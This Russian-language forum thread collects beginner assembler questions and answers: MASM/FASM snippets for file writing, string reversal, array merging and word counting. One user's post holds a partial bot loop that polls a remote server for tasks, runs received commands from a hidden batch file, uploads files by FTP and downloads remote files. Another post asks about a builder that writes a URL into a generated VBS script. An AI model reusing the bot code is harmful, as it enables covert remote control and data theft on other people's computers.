[ Assembler ] — начинающим: задаем вопросы

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by !_filin_!, 25 May 2007.

  1. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Переделай под себя...
    Code:
    .486
    .model flat, stdcall
    option casemap :none
    
    include \masm32\include\windows.inc
    include \masm32\include\dialogs.inc
    include \masm32\macros\macros.asm
    include \masm32\macros\windows.asm
    
    uselib kernel32, masm32, user32
    
    IDC_EDIT equ 1001
    
    DlgProc proto :dword, :dword, :dword, :dword
    
    .data?
    hInstance dd ?
    
    .code
    start:
        mov hInstance, FUNC(GetModuleHandle, NULL)
        call main
        invoke ExitProcess, eax
    
    main proc
    
        Dialog "Test", "Calibri", 10, \
                WS_OVERLAPPED or WS_SYSMENU or DS_CENTER, \
                2, \
                50, 50, 150, 80, \
                1024
        
        DlgButton "&OK", WS_TABSTOP, 48, 40, 50, 15, IDOK
        DlgEdit WS_BORDER or ES_WANTRETURN, 3, 20, 140, 9, IDC_EDIT
    
        CallModalDialog hInstance, 0, DlgProc, NULL
    
        ret
    
    main endp
    
    DlgProc proc hWin:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    local fh : dword
    local buffer[512] : byte
    local count : dword
    
        .if uMsg == WM_COMMAND
            .if wParam == IDOK
            
                mov fh, FUNC(CreateFile, chr$("file.txt"), GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
                
                .if fh != INVALID_HANDLE_VALUE
                    mov count, FUNC(GetDlgItemText, hWin, IDC_EDIT, addr buffer, 512)
                    invoke WriteFile, fh, addr buffer, count, addr count, NULL
                    invoke CloseHandle, fh
                .endif
            
            .endif
        .elseif uMsg == WM_CLOSE
            invoke EndDialog, hWin, 0
        .endif
    
        xor eax, eax
        ret
    
    DlgProc endp
    
    end start
    
     
    _________________________
  2. NetAng

    NetAng Member

    Joined:
    29 Dec 2010
    Messages:
    75
    Likes Received:
    12
    Reputations:
    5
    Как сделать динамическую библиотеку в Linux на Fasme, которая считывает заданное количество байт с файла? аналог функции fread из stdio.h?
     
  3. SEKTOR3A

    SEKTOR3A New Member

    Joined:
    2 May 2009
    Messages:
    36
    Likes Received:
    1
    Reputations:
    0
    Спасибо DooD и Kaimi ,разобрался

    нужно было не записывать в буфер а передавать строку с окна в TextEdit

    кому если пригодится

    это часть кода которая при нажатии на кнопку
    создает файл и когда водишь в поле свою строчку в TextEdit

    он записывает в наш нами созданный файл все то что мы вводим
    PHP:
    .IF ax == BN_CLICKED
                        invoke    MessageBox
    ,hWnd,addr TextButton1,0,MB_ICONINFORMATION
                         invoke CreateFile
    ,addr file,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,
                        
                      mov handle
    ,eax
                  
                        invoke GetWindowText
    ,hwndEdit1,addr TextEdit1,512
                    
                             invoke WriteFile
    ,handleaddr TextEdit1,eax,addr buf,0
                           

                    invoke CloseHandle
    handle
    еще вопрос как сделать запись между строками

    например у меня в масивах при нажатии на кнопку создается файл на vbs скрипте естественно билдер на асме и туда нужно записать урл адрес
    между скобками в сам vbs скрипт

    пример такой
    WshShell.Run "http://тест.ру", 1

    то есть я вожу в билдере урл адрес создается файл и урл адрес должен записаться именно тут WshShell.Run "http://тест.ру", 1

    где выделено красным ,
    маленький пример достаточно будет мне разобраться если поможете ,Спасибо.
     
    #1243 SEKTOR3A, 18 Mar 2012
    Last edited: 18 Mar 2012
  4. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Code:
    invoke lstrcat,addr str1,addr str2
    На выходе в str1 будет сцепленная строка с str1 и str2.
     
  5. Flisk

    Flisk Member

    Joined:
    4 Aug 2010
    Messages:
    147
    Likes Received:
    8
    Reputations:
    -2
    Снова решил изучать асм, и снова не работает простейший пример. Это не язык, а какое-то проклятье. Подскажите, что я снова сделал не так? Смысл - инверсия строки, т.е. копировать первую строку во вторую в обратном порядке

    Code:
    .386
    .model flat,stdcall
    option casemap:none
    
    include \masm32\include\windows.inc
    include \masm32\macros\macros.asm
    uselib kernel32,user32
    
    .data
    source byte "some string 12345 go",0
    target byte sizeof source dup(0)
    
    .code
    start:
    
    xor edi,edi
    mov ecx,sizeof source
    mov esi,ecx
    
    rev:
    mov dl,source[edi]
    mov target[esi],dl
    inc edi
    dec esi
    loop rev 
    
    invoke MessageBox,0,addr target,addr source,0
    
    ret
    end start
    Олли показывает, что строка копируется, но вывести ее не удается. :mad: Почему?
     
  6. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    :D:D:D проклятье ыы:)
    на вот кодес
    Code:
    .386
    .model flat,stdcall
    option casemap:none
    
    include include\windows.inc
    include include\kernel32.inc
    include include\user32.inc
    
    includelib lib\kernel32.lib
    includelib lib\user32.lib
    
    .data
    source db "some string 12345 go",0
    target db sizeof source dup(?)
    
    .code
    start:
    xor esi,esi
    mov edi,sizeof source-10b
    mov ecx,sizeof source
    
    rev:
    mov dl,source[esi]
    mov target[edi],dl
    inc esi
    dec edi
    loop rev
    
    invoke MessageBox,0,addr target,addr source,0
    
    invoke ExitProcess,0
    end start
     
    #1246 DooD, 20 Mar 2012
    Last edited: 20 Mar 2012
    1 person likes this.
  7. Flisk

    Flisk Member

    Joined:
    4 Aug 2010
    Messages:
    147
    Likes Received:
    8
    Reputations:
    -2
    DooD, да смех смехом, но еще ни одну прогу (даже самую простую) не написал без помощи со стороны. :( . И так уже больше года.

    Спасибо большое за помощь, единственное - почему минус 2 символа?
    Первый - это вероятно, нуллбайт, а второй что?
     
  8. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    #13,#10 если проще объяснить.Перевод строки.А для того что бы понять всю хардкорность асма
    https://forum.antichat.ru/thread320055.html
    а вообще под венды асм не столь труден,попиши под дос,вот тогда поймешь.
     
    #1248 DooD, 20 Mar 2012
    Last edited: 20 Mar 2012
  9. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Народ, вот я в цикле постоянно записываю в переменную какие либо строки.И получается так,что если я записываю 2 строчки в переменную в первый раз и делаю так:
    Code:
    mov string,0
    То записывая, во второй раз 2 строка остается....Как обнулить переменную или я что то не так делаю?
     
  10. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    полностью код кинь.
     
  11. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Code:
    .data
    bat db 500 dup(?)
    load db 100 dup(?)
    upload db 100 dup(?)
    buff db 1000 dup(?)
    sendftp db 100 dup(?)
    
    .code
    online:
    call Connect
    call pars
    call RUN
    mov load,0
    mov upload,0
    mov bat,0
    mov sendftp,0
    mov buff,0
    
    invoke Sleep,12000
    
    jmp online
    
    exit11:
    invoke ExitProcess,0
    
    ;Connect to file##############################################
    Connect proc
    invoke WSAStartup,101h,addr wsadata
    
    invoke socket,AF_INET,SOCK_STREAM,0
    mov hsock,eax
    
    invoke htons,port
    mov sin.sin_port,ax
    invoke inet_addr,addr ip
    mov sin.sin_addr,eax
    mov sin.sin_family,AF_INET
    
    invoke connect,hsock,addr sin,sizeof sin
    
    
    invoke send,hsock,addr get,sizeof get,0
    invoke recv,hsock,addr buff,sizeof buff,0
    ;Конектимся к скрипту задание получили#########################
    invoke socket,AF_INET,SOCK_STREAM,0
    
    mov hsock,eax
    invoke htons,port
    mov sin.sin_port,ax
    invoke inet_addr,addr ip
    mov sin.sin_addr,eax
    mov sin.sin_family,AF_INET
    
    invoke connect,hsock,addr sin,sizeof sin
    
    invoke send,hsock,addr delquest,sizeof delquest,0
    ;############################################################
    invoke closesocket,hsock
    invoke WSACleanup
    ret
    Connect endp
    
    ;Parsing##############################################################
    pars proc
    mov edi,offset buff
    mov ecx,1000
    mov ax,'['
    repne scasb
    mov ebx,edi
    mov ecx,500
    mov ax,']'
    repne scasb
    sub edi,ebx
    mov ecx,edi
    dec ecx
    
    cmp ecx,0
    jz parsload
    
    mov esi,ebx
    mov edi,offset bat
    rep movsb
    
    
    
    
    parsload:
    mov edi,offset buff
    mov ecx,1000
    mov ax,'#'
    repne scasb
    mov ebx,edi
    mov ecx,100
    mov ax,'$'
    repne scasb
    sub edi,ebx
    mov ecx,edi
    dec ecx
    
    cmp ecx,0
    jz parsupload
    
    mov esi,ebx
    mov edi,offset load
    rep movsb
    
    
    parsupload:
    mov edi,offset buff
    mov ecx,1000
    mov ax,'{'
    repne scasb
    mov ebx,edi
    mov ecx,100
    mov ax,'}'
    repne scasb
    sub edi,ebx
    mov ecx,edi
    dec ecx
    
    cmp ecx,0
    jz ex
    
    mov esi,ebx
    mov edi,offset upload
    rep movsb
    
    ex:
    
    xor edi,edi
    xor esi,esi
    xor eax,eax
    xor ebx,ebx
    xor ecx,ecx
    
    ret
    pars endp
    
    
    
    RUN proc
    cmd:
    cmp bat,0
    jz _upload
    
    invoke CreateFile,addr ffile,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
    mov handle,eax
    ;invoke WriteFile,handle,addr chcp,9,addr check,0
    invoke lstrlen,addr bat
    invoke WriteFile,handle,addr bat,eax,addr check,0
    invoke CloseHandle,handle
    invoke ShellExecute,0,addr open,addr ffile,0,0,SW_HIDE
    invoke Sleep,1000
    invoke DeleteFile,addr ffile
    
    
    
    _upload:
    
    cmp upload,0
    jz download
    invoke lstrcat,addr sendftp,addr sends
    invoke lstrcat,addr sendftp,addr upload
    invoke lstrcat,addr sendftp,addr prob
    invoke lstrcat,addr sendftp,addr upload
    ;команды для ftp##################################################################################
    invoke CreateFile,addr kom,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
    mov handle,eax
    invoke WriteFile,handle,addr ftpkom,39,addr check,0
    invoke lstrlen,addr sendftp
    invoke WriteFile,handle,addr sendftp,eax,addr check,0
    invoke WriteFile,handle,addr cr,sizeof cr,addr check,0
    invoke WriteFile,handle,addr bye,3,addr check,0
    invoke CloseHandle,handle
    ;создаем батник####################################################################################
    invoke CreateFile,addr fffile,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
    mov handle,eax
    ;invoke WriteFile,handle,addr chcp,9,addr check,0
    invoke WriteFile,handle,addr ftp,sizeof ftp,addr check,0
    invoke CloseHandle,handle
    invoke ShellExecute,0,addr open,addr fffile,0,0,SW_HIDE
    invoke Sleep,5000
    invoke DeleteFile,addr fffile
    invoke DeleteFile,addr kom
    ;#################################################################################################
    
    
    download:
    
    cmp load,0
    jz exitrun
    invoke URLDownloadToFile,0,addr load,addr exez,0,0
    
    
    
    exitrun:
    ret
    RUN endp
    
    
    
    Вот собственно тот открывок.Что то не получается в обнуление переменных.
     
  12. Gloys

    Gloys New Member

    Joined:
    4 Apr 2012
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Ткни носом где у тебя тут цикл и какую переменную нужно "обнулить", разбираться с твоими переходами не хочеться. А вообще- rtlzeromemory
     
  13. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    Задача: объединить 2 массивы и отсортировать, пробую реализовать объединение:

    Code:
    .386
    .model flat, stdcall
    option casemap:none
     
    
    include  .\include\kernel32.inc
    include  .\include\windows.inc
    include include\user32.inc
    includelib  .\lib\kernel32.lib
    includelib lib\user32.lib
    
     
     
    .data
    
    A db 0,1,2,4,5
    l_A = $ - A
    B db 0,1,3,7,9
    l_B = $ - B
    l_U = l_A + l_B
    U db l_U dup (?)
    index db 0
     
    .data?
    stdout          dd      ?
    cWritten        dd      ?
    min db ? 
    .code
    start:
    
    xor bx, bx
    xor cx, cx
    xor si, si
    
    lea bx, U
    lea si, A
    lea di, B
    
    mov cl, byte ptr l_A
    l1:
    mov bx[index], [si]
    inc index
    inc si
    loop l1
    
    mov cl, byte ptr l_B
    
    l2:
    mov bx[index], [di]
    inc index
    inc di
    loop l2
    
    
    
    
       ; invoke GetStdHandle, STD_OUTPUT_HANDLE          ;получаем дескриптор стандартного устройства вывода
        ;mov stdout, eax                                 ;записываем его в stdout
       
    ;invoke WriteConsoleA, stdout, ADDR U, SIZEOF U, ADDR cWritten, NULL           ;выводим сообщение
       
     
    exit:
    invoke Sleep, 60000
            invoke ExitProcess, 0
    end start
    
    mov bx[index], [si] // тут ошибка
    нужно еще как-то в консоль вывести массив.
     
  14. \\ChaOs//

    \\ChaOs// Member

    Joined:
    26 Feb 2009
    Messages:
    102
    Likes Received:
    26
    Reputations:
    5
    AnGeI, переносить данные из одного участка памяти в другой за одну инструкцию нельзя.
     
  15. Marra_Kesh

    Marra_Kesh New Member

    Joined:
    8 Aug 2010
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Здраствуйте,давно еще скачал я значит примеры(example) для FASM'a, компилировал,запускал ПРОСТОЙ ПРИМЕР.exe, было всё GOOD, на днях хотел просмотреть эти примеры---> компилирую,запускаю ПРОСТОЙ ПРИМЕР.exe и вижу что они работаю скрытно+ЦП на 101% грузят Пробовал разные версии фасма всё та же история... Вопрос: Что за фигня?
     
  16. Peklots

    Peklots Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    281
    Likes Received:
    144
    Reputations:
    36
    Доброго времени суток. Помогите найти ошибку в строке:

    6740:1254 INT 250
     
  17. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    смею предположить что это int 25h ??
     
  18. LASS0

    LASS0 Member

    Joined:
    3 Jan 2009
    Messages:
    0
    Likes Received:
    17
    Reputations:
    1
    Прошу помощи
    Имеется строка "earth and moon"
    Нужно сформировать новую строку, в которой вместо слов, будет их длина.
    То есть должна получиться строка "5 3 4"

    Вот написал программу которая считает длину только первого слова, а дальше не получается..
    Компилятор FASM

    Code:
            include 'win32ax.inc'
            .data
    
            string db 'earth and moon',0
            str_len db 14               ; количество символов в строке
            char_len db 0               ; количество символов в слове
            new_str db '',0             ; новая строка для результата
            separator db ' ',0          ; разделитель слов в строке
            Caption db 'Результат',0
            .code
    
    start:
            xor eax,eax
            xor ecx,ecx
            mov ebx,0       ; счетчик пройденных символов в строке
    
            mov cl, [str_len]
    
    
    mark:
    
    
      mov esi, string
      mov edi, separator
    
      add si,bx
    
      cmpsb
    
      jnz mark2   ; если символ не пробел, то переходим на mark2
            mov al,[char_len]
            mov edi,new_str
            call IntToStr                                ; переводим число в строку для вывода на экран
    
            invoke MessageBox,0,new_str,Caption,MB_OK    ; выводим новую строку
            invoke ExitProcess,0
    
    
            mov [char_len],0
            inc bx
      mark2:
            inc [char_len]
            inc bx
    
    loop mark
    
    
    
    IntToStr:   ; процедура для перевода числа в строку для вывода на экран
     ;eax = number, ebx = base(основание системы счисления=10), edi = buffer(буфер для хранения строки 
    ;результата) 
            push    ecx edx 
            xor     ecx,ecx 
            mov     ebx,10 
          .new: 
            xor     edx,edx 
            div     ebx 
            push    edx 
            inc     ecx 
            test    eax,eax 
            jnz     .new 
          .loop: 
            pop     eax 
            add     al,30h 
            mov    [edi], al 
            inc    edi 
            loop    .loop 
            mov    al,0 
            mov    [edi],al 
            pop     edx ecx 
            ret
    
    .end start        
    [​IMG]
     
  19. petryxa-mixa

    petryxa-mixa Member

    Joined:
    8 Jun 2010
    Messages:
    174
    Likes Received:
    7
    Reputations:
    0
    подскажите откуда слить ада про старше 5.1.чтоб понимала файлы симбы.
     
  20. totenkopf

    totenkopf Elder - Старейшина

    Joined:
    19 Jul 2010
    Messages:
    92
    Likes Received:
    64
    Reputations:
    19
    2 LASSO
    Code:
    .486
    .model flat,stdcall
    option casemap:none
    
       	include windows.inc
       	include user32.inc
       	include kernel32.inc
       	include masm32.inc
       	include msvcrt.inc
       
       	includelib user32.lib
       	includelib kernel32.lib
       	includelib masm32.lib
       	includelib msvcrt.lib
       	include c:\masm32\macros\macros.asm
    
    .data
    	string db 'earth and moon',0
    	space db ' ',0
    .data?
    	outstr db MAX_PATH dup(?)   
    .code
    start:
    	mov eax,offset string
    @@:
    	invoke crt_strtok,eax,addr space
    	.if eax!=0
    		invoke lstrlen,eax
    		invoke lstrcat,addr outstr,ustr$(eax)
    		invoke lstrcat,addr outstr,addr space
    		xor eax,eax
    		jmp @b
    	.endif
    
    	invoke MessageBox,0,addr outstr,0,MB_OK
    
    	invoke ExitProcess,0
    end start